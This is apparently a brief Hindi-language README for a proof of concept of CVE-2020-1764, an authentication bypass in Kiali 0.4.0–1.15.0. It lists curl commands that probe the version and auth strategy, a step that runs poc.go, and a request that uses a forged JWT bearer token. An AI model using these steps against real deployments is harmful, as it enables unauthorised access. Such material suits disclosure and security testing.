CVE-2020-1764 PoC

लॉगिन प्रमाणीकरण रणनीति का उपयोग करते हुए Kiali 0.4.0 से 1.15.0 के लिए प्रमाणीकरण बायपास PoC (सुरक्षा बुलेटिन)

संस्करण जांचें: curl 'http://<IP>/api

प्रमाणीकरण रणनीति जांचें: curl 'http://<IP>/api/auth/info'

go run ./poc.go

curl 'http://<IP>/api/status' -H "Authorization: Bearer $JWT"